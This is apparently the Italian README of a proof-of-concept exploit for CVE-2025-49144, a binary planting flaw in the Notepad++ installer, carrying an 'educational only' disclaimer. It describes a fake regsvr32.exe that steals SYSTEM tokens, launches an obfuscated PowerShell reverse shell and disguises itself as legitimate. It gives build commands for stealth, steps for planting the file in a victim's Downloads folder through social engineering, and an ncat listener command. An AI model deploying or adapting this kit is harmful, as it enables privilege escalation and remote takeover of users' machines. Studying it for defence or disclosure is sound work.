
PoC CVE-2025-49144
⚠️ SOLO A SCOPO EDUCATIVO
Questo codice è progettato per scopi educativi e di ricerca per comprendere le vulnerabilità di binary planting. Utilizzare solo in ambienti controllati con la dovuta autorizzazione.
Questa Proof of Concept dimostra la vulnerabilità di binary planting nel programma di installazione di Notepad++ (CVE-2025-49144) menzionata in GHSA-9vx8-v79m-6m24. La vulnerabilità consente a un aggressore di ottenere privilegi a livello SYSTEM posizionando un eseguibile malevolo chiamato regsvr32.exe nella stessa directory del programma di installazione di Notepad++.
regsvr32.exe malevoloIl PoC è composto da più componenti che lavorano insieme:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Programma di │ │ regsvr32.exe │ │ Reverse Shell │
│ installazione │───▶│ malevolo │───▶│ (PowerShell) │
│ Notepad++ │ │ (binario CGO) │ │ con privilegi │
│ (cerca │ │ │ │ SYSTEM │
│ regsvr32.exe) │ │ │ │ │
└─────────────────┘ └──────────────────┘ └─────────────────┘
| File | Scopo | Righe |
|---|---|---|
main.go | Punto di ingresso, gestisce l'esecuzione di regsvr32 | ~80 |
winbind.h | Header principale con dichiarazioni di funzioni | ~45 |
main.c | Lanciatore core della reverse shell e creazione di processi distaccati | ~75 |
shell.c | Gestore della shell con esecuzione PowerShell offuscata | ~120 |
process.c | Acquisizione di token e creazione di processi SYSTEM | ~195 |
socket.c | Connessione di rete con TCP keep-alive | ~85 |
threads.c | Threading I/O tra socket e pipe | ~60 |
utils.c | Validazione input e limitazione della frequenza | ~35 |
obfuscate.c | Tecniche di offuscamento del percorso PowerShell | ~70 |
# Installare Go (1.24+)
# Installare MinGW-w64 per la compilazione CGO
# Installare Git per il controllo versione
# Clonare il repository
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# Compilare come eseguibile (mascherato come regsvr32.exe)
# Per la massima furtività (rimuovi info di debug)
go build -ldflags="-s -w" -o regsvr32.exe
# Per lo sviluppo (con simboli di debug)
go build -o regsvr32_debug.exe
# 1. Posizionare regsvr32.exe malevolo nella stessa directory del programma di installazione di Notepad++
# Di solito la cartella Download dove gli utenti scaricano il programma
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. L'utente scarica il programma di installazione ufficiale di Notepad++ nella cartella Download
# 3. Quando l'utente esegue il programma di installazione, questo cerca regsvr32.exe prima nella directory corrente
# 4. Il programma di installazione trova ed esegue il nostro regsvr32.exe malevolo con privilegi SYSTEM
# 5. Ascoltare la connessione reverse shell in arrivo
ncat -tlnp 4445
sequenceDiagram
participant Utente
participant Attaccante
participant Download
participant InstallerNotepad
participant Regsvr32Malevolo
participant ProcessoSYSTEM
Utente->>Download: Scarica programma di installazione Notepad++
Attaccante->>Download: Posiziona regsvr32.exe malevolo (ingegneria sociale)
Utente->>InstallerNotepad: Esegue il programma di installazione dalla cartella Download
InstallerNotepad->>Download: Cerca regsvr32.exe nella directory corrente
Download->>Regsvr32Malevolo: Trova prima regsvr32.exe malevolo
InstallerNotepad->>Regsvr32Malevolo: Esegue con privilegi SYSTEM
Regsvr32Malevolo->>Regsvr32Malevolo: Crea processo distaccato
Regsvr32Malevolo->>ProcessoSYSTEM: Enumera processi SYSTEM
ProcessoSYSTEM->>Regsvr32Malevolo: Ruba token da winlogon/servizi
Regsvr32Malevolo->>Regsvr32Malevolo: Crea PowerShell con token SYSTEM
Regsvr32Malevolo->>Attaccante: Stabilisce connessione reverse
Regsvr32Malevolo->>InstallerNotepad: Continua con funzionalità legittima di regsvr32
Attaccante->>ProcessoSYSTEM: Esegue comandi come SYSTEM
Binary Planting
Escalation dei privilegi
Meccanismi di persistenza
Programmazione di rete
Programmazione CGO